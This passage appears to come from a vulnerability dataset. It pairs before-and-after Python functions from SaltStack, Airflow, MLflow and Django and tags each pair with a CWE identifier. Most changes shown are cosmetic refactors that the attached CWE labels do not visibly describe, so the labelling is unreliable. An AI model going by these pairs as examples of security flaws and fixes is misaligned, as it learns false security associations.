                    ret.update({item: {'old': actual_detach, 'new': data}})
                continue

            elif item == 'environment':
                actual_env = {}
                for env_var in actual_data:
                    try:
                        key, val = env_var.split('=', 1)
                    except (AttributeError, ValueError):
                        log.warning(
                            'Unexpected environment variable in inspect '
                            'output {0}'.format(env_var)
                        )
                        continue
                    else:
                        actual_env[key] = val
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_env))
                env_diff = {}
                for key in data:
                    actual_val = actual_env.get(key)
                    if data[key] != actual_val:
                        env_ptr = env_diff.setdefault(item, {})
                        env_ptr.setdefault('old', {})[key] = actual_val
                        env_ptr.setdefault('new', {})[key] = data[key]
                if env_diff:
                    ret.update(env_diff)
                continue

            elif item == 'ports':
                # Munge the desired configuration instead of the actual
                # configuration here, because the desired configuration is a
                # list of ints or tuples, and that won't look as good in the
                # nested outputter as a simple comparison of lists of
                # port/protocol pairs (as found in the ""actual"" dict).
                actual_ports = sorted(actual_data)
                desired_ports = []
                for port_def in data:
                    if isinstance(port_def, tuple):
                        desired_ports.append('{0}/{1}'.format(*port_def))
                    else:
                        desired_ports.append('{0}/tcp'.format(port_def))
                desired_ports.sort()
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_ports))
                log.trace('dockerng.running ({0}): munged desired value: {1}'
                          .format(item, desired_ports))
                if actual_ports != desired_ports:
                    ret.update({item: {'old': actual_ports,
                                       'new': desired_ports}})
                continue

            # 'runtime' comparison params
            elif item == 'binds':
                actual_binds = []
                for bind in actual_data:
                    bind_parts = bind.split(':')
                    if len(bind_parts) == 2:
                        actual_binds.append(bind + ':rw')
                    else:
                        actual_binds.append(bind)
                desired_binds = []
                for host_path, bind_data in six.iteritems(data):
                    desired_binds.append(
                        '{0}:{1}:{2}'.format(
                            host_path,
                            bind_data['bind'],
                            'ro' if bind_data['ro'] else 'rw'
                        )
                    )
                actual_binds.sort()
                desired_binds.sort()
                if actual_binds != desired_binds:
                    ret.update({item: {'old': actual_binds,
                                       'new': desired_binds}})
                    continue

            elif item == 'port_bindings':
                actual_binds = []
                for container_port, bind_list in six.iteritems(actual_data):
                    if container_port.endswith('/tcp'):
                        container_port = container_port[:-4]
                    for bind_data in bind_list:
                        # Port range will have to be updated for future Docker
                        # versions (see
                        # https://github.com/docker/docker/issues/10220).  Note
                        # that Docker 1.5.0 (released a few weeks after the fix
                        # was merged) does not appear to have this fix in it,
                        # so we're probably looking at 1.6.0 for this fix.
                        if bind_data['HostPort'] == '' or \
                                49153 <= int(bind_data['HostPort']) <= 65535:
                            host_port = ''
                        else:
                            host_port = bind_data['HostPort']
                        if bind_data['HostIp'] in ('0.0.0.0', ''):
                            if host_port:
                                bind_def = (host_port, container_port)
                            else:
                                bind_def = (container_port,)
                        else:
                            bind_def = (bind_data['HostIp'],
                                        host_port,
                                        container_port)
                        actual_binds.append(':'.join(bind_def))

                desired_binds = []
                for container_port, bind_list in six.iteritems(data):
                    try:
                        if container_port.endswith('/tcp'):
                            container_port = container_port[:-4]
                    except AttributeError:
                        # The port's protocol was not specified, so it is
                        # assumed to be TCP. Thus, according to docker-py usage
                        # examples, the port was passed as an int. Convert it
                        # to a string here.
                        container_port = str(container_port)
                    for bind_data in bind_list:
                        if isinstance(bind_data, tuple):
                            try:
                                host_ip, host_port = bind_data
                                host_port = str(host_port)
                            except ValueError:
                                host_ip = bind_data[0]
                                host_port = ''
                            bind_def = '{0}:{1}:{2}'.format(
                                host_ip, host_port, container_port
                            )
                        else:
                            if bind_data is not None:
                                bind_def = '{0}:{1}'.format(
                                    bind_data, container_port
                                )
                            else:
                                bind_def = container_port
                        desired_binds.append(bind_def)
                actual_binds.sort()
                desired_binds.sort()
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_binds))
                log.trace('dockerng.running ({0}): munged desired value: {1}'
                          .format(item, desired_binds))
                if actual_binds != desired_binds:
                    ret.update({item: {'old': actual_binds,
                                       'new': desired_binds}})
                    continue

            elif item == 'links':
                actual_links = []
                for link in actual_data:
                    try:
                        link_name, alias_info = link.split(':')
                    except ValueError:
                        log.error(
                            'Failed to compare link {0}, unrecognized format'
                            .format(link)
                        )
                        continue
                    container_name, _, link_alias = alias_info.rpartition('/')
                    if not container_name:
                        log.error(
                            'Failed to interpret link alias from {0}, '
                            'unrecognized format'.format(alias_info)
                        )
                        continue
                    actual_links.append((link_name, link_alias))
                actual_links.sort()
                desired_links = sorted(data)
                if actual_links != desired_links:
                    ret.update({item: {'old': actual_links,
                                       'new': desired_links}})
                    continue

            elif item == 'extra_hosts':
                actual_hosts = sorted(actual_data)
                desired_hosts = sorted(
                    ['{0}:{1}'.format(x, y) for x, y in six.iteritems(data)]
                )
                if actual_hosts != desired_hosts:
                    ret.update({item: {'old': actual_hosts,
                                       'new': desired_hosts}})
                    continue

            elif isinstance(data, list):
                # Compare two sorted lists of items. Won't work for ""command""
                # or ""entrypoint"" because those are both shell commands and the
                # original order matters. It will, however, work for ""volumes""
                # because even though ""volumes"" is a sub-dict nested within the
                # ""actual"" dict sorted(somedict) still just gives you a sorted
                # list of the dictionary's keys. And we don't care about the
                # value for ""volumes"", just its keys.
                actual_data = sorted(actual_data)
                desired_data = sorted(data)
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_data))
                log.trace('dockerng.running ({0}): munged desired value: {1}'
                          .format(item, desired_data))
                if actual_data != desired_data:
                    ret.update({item: {'old': actual_data,
                                       'new': desired_data}})
                continue

            else:
                # Generic comparison, works on strings, numeric types, and
                # booleans
                if actual_data != data:
                    ret.update({item: {'old': actual_data, 'new': data}})
    return ret",CWE-605,saltstack/salt,6d8e9af2976d8aa895008a7676c3562a0291a829,"def _compare(actual, create_kwargs, runtime_kwargs):
    '''
    Compare the desired configuration against the actual configuration returned
    by dockerng.inspect_container
    '''
    _get = lambda path: (
        salt.utils.traverse_dict(actual, path, NOTSET, delimiter=':')
    )
    ret = {}
    for desired, valid_opts in ((create_kwargs, VALID_CREATE_OPTS),
                                (runtime_kwargs, VALID_RUNTIME_OPTS)):
        for item, data, in six.iteritems(desired):
            if item not in valid_opts:
                log.error(
                    'Trying to compare \'{0}\', but it is not a valid '
                    'parameter. Skipping.'.format(item)
                )
                continue
            log.trace('dockerng.running: comparing ' + item)
            conf_path = valid_opts[item]['path']
            if isinstance(conf_path, tuple):
                actual_data = [_get(x) for x in conf_path]
                for val in actual_data:
                    if val is NOTSET:
                        _api_mismatch(item)
            else:
                actual_data = _get(conf_path)
                if actual_data is NOTSET:
                    _api_mismatch(item)
            log.trace('dockerng.running ({0}): desired value: {1}'
                      .format(item, data))
            log.trace('dockerng.running ({0}): actual value: {1}'
                      .format(item, actual_data))

            if actual_data is None and data is not None \
                    or actual_data is not None and data is None:
                ret.update({item: {'old': actual_data, 'new': data}})
                continue

            # 'create' comparison params
            if item == 'detach':
                # Something unique here. Two fields to check, if both are False
                # then detach is True
                actual_detach = all(x is False for x in actual_data)
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_detach))
                if actual_detach != data:
                    ret.update({item: {'old': actual_detach, 'new': data}})
                continue

            elif item == 'environment':
                actual_env = {}
                for env_var in actual_data:
                    try:
                        key, val = env_var.split('=', 1)
                    except (AttributeError, ValueError):
                        log.warning(
                            'Unexpected environment variable in inspect '
                            'output {0}'.format(env_var)
                        )
                        continue
                    else:
                        actual_env[key] = val
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_env))
                env_diff = {}
                for key in data:
                    actual_val = actual_env.get(key)
                    if data[key] != actual_val:
                        env_ptr = env_diff.setdefault(item, {})
                        env_ptr.setdefault('old', {})[key] = actual_val
                        env_ptr.setdefault('new', {})[key] = data[key]
                if env_diff:
                    ret.update(env_diff)
                continue

            elif item == 'ports':
                # Munge the desired configuration instead of the actual
                # configuration here, because the desired configuration is a
                # list of ints or tuples, and that won't look as good in the
                # nested outputter as a simple comparison of lists of
                # port/protocol pairs (as found in the ""actual"" dict).
                actual_ports = sorted(actual_data)
                desired_ports = []
                for port_def in data:
                    if isinstance(port_def, tuple):
                        desired_ports.append('{0}/{1}'.format(*port_def))
                    else:
                        desired_ports.append('{0}/tcp'.format(port_def))
                desired_ports.sort()
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_ports))
                log.trace('dockerng.running ({0}): munged desired value: {1}'
                          .format(item, desired_ports))
                if actual_ports != desired_ports:
                    ret.update({item: {'old': actual_ports,
                                       'new': desired_ports}})
                continue

            # 'runtime' comparison params
            elif item == 'binds':
                actual_binds = []
                for bind in actual_data:
                    bind_parts = bind.split(':')
                    if len(bind_parts) == 2:
                        actual_binds.append(bind + ':rw')
                    else:
                        actual_binds.append(bind)
                desired_binds = []
                for host_path, bind_data in six.iteritems(data):
                    desired_binds.append(
                        '{0}:{1}:{2}'.format(
                            host_path,
                            bind_data['bind'],
                            'ro' if bind_data['ro'] else 'rw'
                        )
                    )
                actual_binds.sort()
                desired_binds.sort()
                if actual_binds != desired_binds:
                    ret.update({item: {'old': actual_binds,
                                       'new': desired_binds}})
                    continue

            elif item == 'port_bindings':
                actual_binds = []
                for container_port, bind_list in six.iteritems(actual_data):
                    if container_port.endswith('/tcp'):
                        container_port = container_port[:-4]
                    for bind_data in bind_list:
                        # Port range will have to be updated for future Docker
                        # versions (see
                        # https://github.com/docker/docker/issues/10220).  Note
                        # that Docker 1.5.0 (released a few weeks after the fix
                        # was merged) does not appear to have this fix in it,
                        # so we're probably looking at 1.6.0 for this fix.
                        if bind_data['HostPort'] == '' or \
                                49153 <= int(bind_data['HostPort']) <= 65535:
                            host_port = ''
                        else:
                            host_port = bind_data['HostPort']
                        if bind_data['HostIp'] in ('0.0.0.0', ''):
                            if host_port:
                                bind_def = (host_port, container_port)
                            else:
                                bind_def = (container_port,)
                        else:
                            bind_def = (bind_data['HostIp'],
                                        host_port,
                                        container_port)
                        actual_binds.append(':'.join(bind_def))

                desired_binds = []
                for container_port, bind_list in six.iteritems(data):
                    try:
                        if container_port.endswith('/tcp'):
                            container_port = container_port[:-4]
                    except AttributeError:
                        # The port's protocol was not specified, so it is
                        # assumed to be TCP. Thus, according to docker-py usage
                        # examples, the port was passed as an int. Convert it
                        # to a string here.
                        container_port = str(container_port)
                    for bind_data in bind_list:
                        if isinstance(bind_data, tuple):
                            try:
                                host_ip, host_port = bind_data
                                host_port = str(host_port)
                            except ValueError:
                                host_ip = bind_data[0]
                                host_port = ''
                            bind_def = '{0}:{1}:{2}'.format(
                                host_ip, host_port, container_port
                            )
                        else:
                            if bind_data is not None:
                                bind_def = '{0}:{1}'.format(
                                    bind_data, container_port
                                )
                            else:
                                bind_def = container_port
                        desired_binds.append(bind_def)
                actual_binds.sort()
                desired_binds.sort()
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_binds))
                log.trace('dockerng.running ({0}): munged desired value: {1}'
                          .format(item, desired_binds))
                if actual_binds != desired_binds:
                    ret.update({item: {'old': actual_binds,
                                       'new': desired_binds}})
                    continue

            elif item == 'links':
                actual_links = []
                for link in actual_data:
                    try:
                        link_name, alias_info = link.split(':')
                    except ValueError:
                        log.error(
                            'Failed to compare link {0}, unrecognized format'
                            .format(link)
                        )
                        continue
                    container_name, _, link_alias = alias_info.rpartition('/')
                    if not container_name:
                        log.error(
                            'Failed to interpret link alias from {0}, '
                            'unrecognized format'.format(alias_info)
                        )
                        continue
                    actual_links.append((link_name, link_alias))
                actual_links.sort()
                desired_links = sorted(data)
                if actual_links != desired_links:
                    ret.update({item: {'old': actual_links,
                                       'new': desired_links}})
                    continue

            elif item == 'extra_hosts':
                actual_hosts = sorted(actual_data)
                desired_hosts = sorted(
                    ['{0}:{1}'.format(x, y) for x, y in six.iteritems(data)]
                )
                if actual_hosts != desired_hosts:
                    ret.update({item: {'old': actual_hosts,
                                       'new': desired_hosts}})
                    continue

            elif isinstance(data, list):
                # Compare two sorted lists of items. Won't work for ""cmd"" or
                # ""entrypoint"" because those are both shell commands and the
                # original order matters. It will, however, work for ""volumes""
                # because even though ""volumes"" is a sub-dict nested within the
                # ""actual"" dict sorted(somedict) still just gives you a sorted
                # list of the dictionary's keys. And we don't care about the
                # value for ""volumes"", just its keys.
                actual_data = sorted(actual_data)
                desired_data = sorted(data)
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_data))
                log.trace('dockerng.running ({0}): munged desired value: {1}'
                          .format(item, desired_data))
                if actual_data != desired_data:
                    ret.update({item: {'old': actual_data,
                                       'new': desired_data}})
                continue

            else:
                # Generic comparison, works on strings, numeric types, and
                # booleans
                if actual_data != data:
                    ret.update({item: {'old': actual_data, 'new': data}})
    return ret"
,UNKNOWN,UNKNOWN,airflow/models.py,1,"def process_file(self, filepath, only_if_updated=True, safe_mode=True):
        """"""
        Given a path to a python module or zip file, this method imports
        the module and look for dag objects within it.
        """"""
        found_dags = []

        # todo: raise exception?
        if not os.path.isfile(filepath):
            return found_dags

        try:
            # This failed before in what may have been a git sync
            # race condition
            file_last_changed_on_disk = datetime.fromtimestamp(os.path.getmtime(filepath))
            if only_if_updated \
                    and filepath in self.file_last_changed \
                    and file_last_changed_on_disk == self.file_last_changed[filepath]:
                return found_dags

        except Exception as e:
            logging.exception(e)
            return found_dags

        mods = []
        if not zipfile.is_zipfile(filepath):
            if safe_mode and os.path.isfile(filepath):
                with open(filepath, 'rb') as f:
                    content = f.read()
                    if not all([s in content for s in (b'DAG', b'airflow')]):
                        return found_dags

            self.logger.debug(""Importing {}"".format(filepath))
            org_mod_name, _ = os.path.splitext(os.path.split(filepath)[-1])
            mod_name = ('unusual_prefix_' +
                        hashlib.sha1(filepath.encode('utf-8')).hexdigest() +
                        '_' + org_mod_name)

            if mod_name in sys.modules:
                del sys.modules[mod_name]

            with timeout(configuration.getint('core', ""DAGBAG_IMPORT_TIMEOUT"")):
                try:
                    m = imp.load_source(mod_name, filepath)
                    mods.append(m)
                except Exception as e:
                    self.logger.exception(""Failed to import: "" + filepath)
                    self.import_errors[filepath] = str(e)
                    self.file_last_changed[filepath] = file_last_changed_on_disk

        else:
            zip_file = zipfile.ZipFile(filepath)
            for mod in zip_file.infolist():
                head, _ = os.path.split(mod.filename)
                mod_name, ext = os.path.splitext(mod.filename)
                if not head and (ext == '.py' or ext == '.pyc'):
                    if mod_name == '__init__':
                        self.logger.warning(""Found __init__.{0} at root of {1}"".
                                            format(ext, filepath))

                    if safe_mode:
                        with zip_file.open(mod.filename) as zf:
                            self.logger.debug(""Reading {} from {}"".
                                              format(mod.filename, filepath))
                            content = zf.read()
                            if not all([s in content for s in (b'DAG', b'airflow')]):
                                # todo: create ignore list
                                return found_dags

                    if mod_name in sys.modules:
                        del sys.modules[mod_name]

                    try:
                        sys.path.insert(0, filepath)
                        m = importlib.import_module(mod_name)
                        mods.append(m)
                    except Exception as e:
                        self.logger.exception(""Failed to import: "" + filepath)
                        self.import_errors[filepath] = str(e)
                        self.file_last_changed[filepath] = file_last_changed_on_disk

        for m in mods:
            for dag in list(m.__dict__.values()):
                if isinstance(dag, DAG):
                    if not dag.full_filepath:
                        dag.full_filepath = filepath
                    dag.is_subdag = False
                    dag.module_name = m.__name__
                    self.bag_dag(dag, parent_dag=dag, root_dag=dag)
                    found_dags.append(dag)
                    found_dags += dag.subdags

        self.file_last_changed[filepath] = file_last_changed_on_disk
        return found_dags",CWE-327,apache/airflow,b56cb5cc97de074bb0e520f66b79e7eb2d913fb1,"def process_file(self, filepath, only_if_updated=True, safe_mode=True):
        """"""
        Given a path to a python module or zip file, this method imports
        the module and look for dag objects within it.
        """"""
        found_dags = []

        # todo: raise exception?
        if not os.path.isfile(filepath):
            return found_dags

        try:
            # This failed before in what may have been a git sync
            # race condition
            file_last_changed_on_disk = datetime.fromtimestamp(os.path.getmtime(filepath))
            if only_if_updated \
                    and filepath in self.file_last_changed \
                    and file_last_changed_on_disk == self.file_last_changed[filepath]:
                return found_dags

        except Exception as e:
            logging.exception(e)
            return found_dags

        mods = []
        if not zipfile.is_zipfile(filepath):
            if safe_mode and os.path.isfile(filepath):
                with open(filepath, 'rb') as f:
                    content = f.read()
                    if not all([s in content for s in (b'DAG', b'airflow')]):
                        return found_dags

            self.logger.debug(""Importing {}"".format(filepath))
            org_mod_name, _ = os.path.splitext(os.path.split(filepath)[-1])
            mod_name = ('unusual_prefix_'
                        + hashlib.sha1(filepath.encode('utf-8')).hexdigest()
                        + '_' + org_mod_name)

            if mod_name in sys.modules:
                del sys.modules[mod_name]

            with timeout(configuration.getint('core', ""DAGBAG_IMPORT_TIMEOUT"")):
                try:
                    m = imp.load_source(mod_name, filepath)
                    mods.append(m)
                except Exception as e:
                    self.logger.exception(""Failed to import: "" + filepath)
                    self.import_errors[filepath] = str(e)
                    self.file_last_changed[filepath] = file_last_changed_on_disk

        else:
            zip_file = zipfile.ZipFile(filepath)
            for mod in zip_file.infolist():
                head, _ = os.path.split(mod.filename)
                mod_name, ext = os.path.splitext(mod.filename)
                if not head and (ext == '.py' or ext == '.pyc'):
                    if mod_name == '__init__':
                        self.logger.warning(""Found __init__.{0} at root of {1}"".
                                            format(ext, filepath))

                    if safe_mode:
                        with zip_file.open(mod.filename) as zf:
                            self.logger.debug(""Reading {} from {}"".
                                              format(mod.filename, filepath))
                            content = zf.read()
                            if not all([s in content for s in (b'DAG', b'airflow')]):
                                # todo: create ignore list
                                return found_dags

                    if mod_name in sys.modules:
                        del sys.modules[mod_name]

                    try:
                        sys.path.insert(0, filepath)
                        m = importlib.import_module(mod_name)
                        mods.append(m)
                    except Exception as e:
                        self.logger.exception(""Failed to import: "" + filepath)
                        self.import_errors[filepath] = str(e)
                        self.file_last_changed[filepath] = file_last_changed_on_disk

        for m in mods:
            for dag in list(m.__dict__.values()):
                if isinstance(dag, DAG):
                    if not dag.full_filepath:
                        dag.full_filepath = filepath
                    dag.is_subdag = False
                    dag.module_name = m.__name__
                    self.bag_dag(dag, parent_dag=dag, root_dag=dag)
                    found_dags.append(dag)
                    found_dags += dag.subdags

        self.file_last_changed[filepath] = file_last_changed_on_disk
        return found_dags"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/hooks/test_bigquery.py,1,"def test_get_tables_list(self, mock_client):
        table_list = [
            {
                ""kind"": ""bigquery#table"",
                ""id"": ""your-project:your_dataset.table1"",
                ""tableReference"": {
                    ""projectId"": ""your-project"",
                    ""datasetId"": ""your_dataset"",
                    ""tableId"": ""table1""
                },
                ""type"": ""TABLE"",
                ""creationTime"": ""1565781859261""
            },
            {
                ""kind"": ""bigquery#table"",
                ""id"": ""your-project:your_dataset.table2"",
                ""tableReference"": {
                    ""projectId"": ""your-project"",
                    ""datasetId"": ""your_dataset"",
                    ""tableId"": ""table2""
                },
                ""type"": ""TABLE"",
                ""creationTime"": ""1565782713480""
            }
        ]
        table_list_response = [Table.from_api_repr(t) for t in table_list]
        mock_client.return_value.list_tables.return_value = table_list_response

        dataset_reference = DatasetReference(PROJECT_ID, DATASET_ID)
        result = self.hook.get_dataset_tables(dataset_id=DATASET_ID, project_id=PROJECT_ID)

        mock_client.return_value.list_tables.assert_called_once_with(
            dataset=dataset_reference,
            max_results=None,
            retry=DEFAULT_RETRY,
        )
        for res, exp in zip(result, table_list):
            assert res[""tableId""] == exp[""tableReference""][""tableId""]",CWE-703,apache/airflow,3994030ea678727daaf9c2bfed0ca94a096f8d2a,"def test_get_tables_list(self, mock_client):
        table_list = [
            {
                ""kind"": ""bigquery#table"",
                ""id"": ""your-project:your_dataset.table1"",
                ""tableReference"": {
                    ""projectId"": ""your-project"",
                    ""datasetId"": ""your_dataset"",
                    ""tableId"": ""table1""
                },
                ""type"": ""TABLE"",
                ""creationTime"": ""1565781859261""
            },
            {
                ""kind"": ""bigquery#table"",
                ""id"": ""your-project:your_dataset.table2"",
                ""tableReference"": {
                    ""projectId"": ""your-project"",
                    ""datasetId"": ""your_dataset"",
                    ""tableId"": ""table2""
                },
                ""type"": ""TABLE"",
                ""creationTime"": ""1565782713480""
            }
        ]
        table_list_response = [Table.from_api_repr(t) for t in table_list]
        mock_client.return_value.list_tables.return_value = table_list_response

        dataset_reference = DatasetReference(PROJECT_ID, DATASET_ID)
        result = self.hook.get_dataset_tables(dataset_id=DATASET_ID, project_id=PROJECT_ID)

        mock_client.return_value.list_tables.assert_called_once_with(
            dataset=dataset_reference,
            max_results=None,
            page_token=None,
            retry=DEFAULT_RETRY,
        )
        for res, exp in zip(result, table_list):
            assert res[""tableId""] == exp[""tableReference""][""tableId""]"
,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,1,"def test_create_registered_model(self):
        name = random_str() + ""abCD""
        rm1 = self._rm_maker(name)
        self.assertEqual(rm1.name, name)
        self.assertEqual(rm1.description, None)

        # error on duplicate
        with pytest.raises(
            MlflowException, match=rf""Registered Model \(name={name}\) already exists""
        ) as exception_context:
            self._rm_maker(name)
        assert exception_context.value.error_code == ErrorCode.Name(RESOURCE_ALREADY_EXISTS)

        # slightly different name is ok
        for name2 in [name + ""extra"", name + name]:
            rm2 = self._rm_maker(name2)
            self.assertEqual(rm2.name, name2)

        # test create model with tags
        name2 = random_str() + ""tags""
        tags = [
            RegisteredModelTag(""key"", ""value""),
            RegisteredModelTag(""anotherKey"", ""some other value""),
        ]
        rm2 = self._rm_maker(name2, tags)
        rmd2 = self.store.get_registered_model(name2)
        self.assertEqual(rm2.name, name2)
        self.assertEqual(rm2.tags, {tag.key: tag.value for tag in tags})
        self.assertEqual(rmd2.name, name2)
        self.assertEqual(rmd2.tags, {tag.key: tag.value for tag in tags})

        # create with description
        name3 = random_str() + ""-description""
        description = ""the best model ever""
        rm3 = self._rm_maker(name3, description=description)
        rmd3 = self.store.get_registered_model(name3)
        self.assertEqual(rm3.name, name3)
        self.assertEqual(rm3.description, description)
        self.assertEqual(rmd3.name, name3)
        self.assertEqual(rmd3.description, description)

        # invalid model name will fail
        with pytest.raises(
            MlflowException, match=r""Registered model name cannot be empty""
        ) as exception_context:
            self._rm_maker(None)
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
        with pytest.raises(
            MlflowException, match=r""Registered model name cannot be empty""
        ) as exception_context:
            self._rm_maker("""")
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)",CWE-703,mlflow/mlflow,095833b5cfd8207ae58a587c8c565d10e99934bd,"def test_create_registered_model(self):
        name = random_str() + ""abCD""
        rm1 = self._rm_maker(name)
        self.assertEqual(rm1.name, name)
        self.assertEqual(rm1.description, None)

        # error on duplicate
        with self.assertRaisesRegex(
            MlflowException, rf""Registered Model \(name={name}\) already exists""
        ) as exception_context:
            self._rm_maker(name)
        assert exception_context.exception.error_code == ErrorCode.Name(RESOURCE_ALREADY_EXISTS)

        # slightly different name is ok
        for name2 in [name + ""extra"", name + name]:
            rm2 = self._rm_maker(name2)
            self.assertEqual(rm2.name, name2)

        # test create model with tags
        name2 = random_str() + ""tags""
        tags = [
            RegisteredModelTag(""key"", ""value""),
            RegisteredModelTag(""anotherKey"", ""some other value""),
        ]
        rm2 = self._rm_maker(name2, tags)
        rmd2 = self.store.get_registered_model(name2)
        self.assertEqual(rm2.name, name2)
        self.assertEqual(rm2.tags, {tag.key: tag.value for tag in tags})
        self.assertEqual(rmd2.name, name2)
        self.assertEqual(rmd2.tags, {tag.key: tag.value for tag in tags})

        # create with description
        name3 = random_str() + ""-description""
        description = ""the best model ever""
        rm3 = self._rm_maker(name3, description=description)
        rmd3 = self.store.get_registered_model(name3)
        self.assertEqual(rm3.name, name3)
        self.assertEqual(rm3.description, description)
        self.assertEqual(rmd3.name, name3)
        self.assertEqual(rmd3.description, description)

        # invalid model name will fail
        with self.assertRaisesRegex(
            MlflowException, r""Registered model name cannot be empty""
        ) as exception_context:
            self._rm_maker(None)
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
        with self.assertRaisesRegex(
            MlflowException, r""Registered model name cannot be empty""
        ) as exception_context:
            self._rm_maker("""")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)"
,UNKNOWN,UNKNOWN,providers/google/src/airflow/providers/google/cloud/hooks/mlengine.py,1,"def _poll_with_exponential_delay(
    request, execute_num_retries, max_n, is_done_func, is_error_func
) -> Response:
    """"""
    Execute request with exponential delay.

    This method is intended to handle and retry in case of api-specific errors,
    such as 429 ""Too Many Requests"", unlike the `request.execute` which handles
    lower level errors like `ConnectionError`/`socket.timeout`/`ssl.SSLError`.

    :param request: request to be executed.
    :param execute_num_retries: num_retries for `request.execute` method.
    :param max_n: number of times to retry request in this method.
    :param is_done_func: callable to determine if operation is done.
    :param is_error_func: callable to determine if operation is failed.
    :return: response
    """"""
    for i in range(0, max_n):
        try:
            response = request.execute(num_retries=execute_num_retries)
            if is_error_func(response):
                raise ValueError(f""The response contained an error: {response}"")
            if is_done_func(response):
                log.info(""Operation is done: %s"", response)
                return response

            time.sleep((2**i) + random.random())
        except HttpError as e:
            if e.resp.status != 429:
                log.info(""Something went wrong. Not retrying: %s"", format(e))
                raise
            time.sleep((2**i) + random.random())

    raise ValueError(f""Connection could not be established after {max_n} retries."")",CWE-330,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def _poll_with_exponential_delay(
    request, execute_num_retries, max_n, is_done_func, is_error_func
) -> Response:
    """"""
    Execute request with exponential delay.

    This method is intended to handle and retry in case of api-specific errors,
    such as 429 ""Too Many Requests"", unlike the `request.execute` which handles
    lower level errors like `ConnectionError`/`socket.timeout`/`ssl.SSLError`.

    :param request: request to be executed.
    :param execute_num_retries: num_retries for `request.execute` method.
    :param max_n: number of times to retry request in this method.
    :param is_done_func: callable to determine if operation is done.
    :param is_error_func: callable to determine if operation is failed.
    :return: response
    """"""
    for i in range(0, max_n):
        try:
            response = request.execute(num_retries=execute_num_retries)
            if is_error_func(response):
                raise ValueError(f""The response contained an error: {response}"")
            if is_done_func(response):
                log.info(""Operation is done: %s"", response)
                return response

            time.sleep((2**i) + random.random())
        except HttpError as e:
            if e.resp.status != 429:
                log.info(""Something went wrong. Not retrying: %s"", format(e))
                raise
            else:
                time.sleep((2**i) + random.random())

    raise ValueError(f""Connection could not be established after {max_n} retries."")"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_import_error_endpoint.py,1,"def test_response_200(self, session):
        import_error = ParseImportError(
            filename=""Lorem_ipsum.py"",
            stacktrace=""Lorem ipsum"",
            timestamp=timezone.parse(self.timestamp, timezone=""UTC""),
        )
        session.add(import_error)
        session.commit()

        response = self.client.get(
            f""/api/v1/importErrors/{import_error.id}"", environ_overrides={""REMOTE_USER"": ""test""}
        )

        assert response.status_code == 200
        response_data = response.json
        response_data[""import_error_id""] = 1
        assert response_data == {
            ""filename"": ""Lorem_ipsum.py"",
            ""import_error_id"": 1,
            ""stack_trace"": ""Lorem ipsum"",
            ""timestamp"": ""2020-06-10T12:00:00+00:00"",
        }",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_response_200(self, session):
        import_error = ParseImportError(
            filename=""Lorem_ipsum.py"",
            stacktrace=""Lorem ipsum"",
            timestamp=timezone.parse(self.timestamp, timezone=""UTC""),
        )
        session.add(import_error)
        session.commit()

        response = self.client.get(
            f""/api/v1/importErrors/{import_error.id}"", environ_overrides={""REMOTE_USER"": ""test""}
        )

        assert response.status_code == 200
        response_data = response.json
        response_data[""import_error_id""] = 1
        assert {
            ""filename"": ""Lorem_ipsum.py"",
            ""import_error_id"": 1,
            ""stack_trace"": ""Lorem ipsum"",
            ""timestamp"": ""2020-06-10T12:00:00+00:00"",
        } == response_data"
,UNKNOWN,UNKNOWN,django/contrib/formtools/wizard/views.py,1,"def get_initkwargs(cls, form_list, initial_dict=None,
            instance_dict=None, condition_dict=None, *args, **kwargs):
        """"""
        Creates a dict with all needed parameters for the form wizard instances.

        * `form_list` - is a list of forms. The list entries can be single form
          classes or tuples of (`step_name`, `form_class`). If you pass a list
          of forms, the formwizard will convert the class list to
          (`zero_based_counter`, `form_class`). This is needed to access the
          form for a specific step.
        * `initial_dict` - contains a dictionary of initial data dictionaries.
          The key should be equal to the `step_name` in the `form_list` (or
          the str of the zero based counter - if no step_names added in the
          `form_list`)
        * `instance_dict` - contains a dictionary of instance objects. This list
          is only used when `ModelForm`s are used. The key should be equal to
          the `step_name` in the `form_list`. Same rules as for `initial_dict`
          apply.
        * `condition_dict` - contains a dictionary of boolean values or
          callables. If the value of for a specific `step_name` is callable it
          will be called with the formwizard instance as the only argument.
          If the return value is true, the step's form will be used.
        """"""
        kwargs.update({
            'initial_dict': initial_dict or {},
            'instance_dict': instance_dict or {},
            'condition_dict': condition_dict or {},
        })
        init_form_list = SortedDict()

        assert len(form_list) > 0, 'at least one form is needed'

        # walk through the passed form list
        for i, form in enumerate(form_list):
            if isinstance(form, (list, tuple)):
                # if the element is a tuple, add the tuple to the new created
                # sorted dictionary.
                init_form_list[unicode(form[0])] = form[1]
            else:
                # if not, add the form with a zero based counter as unicode
                init_form_list[unicode(i)] = form

        # walk through the new created list of forms
        for form in init_form_list.itervalues():
            if issubclass(form, formsets.BaseFormSet):
                # if the element is based on BaseFormSet (FormSet/ModelFormSet)
                # we need to override the form variable.
                form = form.form
            # check if any form contains a FileField, if yes, we need a
            # file_storage added to the formwizard (by subclassing).
            for field in form.base_fields.itervalues():
                if (isinstance(field, forms.FileField) and
                        not hasattr(cls, 'file_storage')):
                    raise NoFileStorageConfigured

        # build the kwargs for the formwizard instances
        kwargs['form_list'] = init_form_list
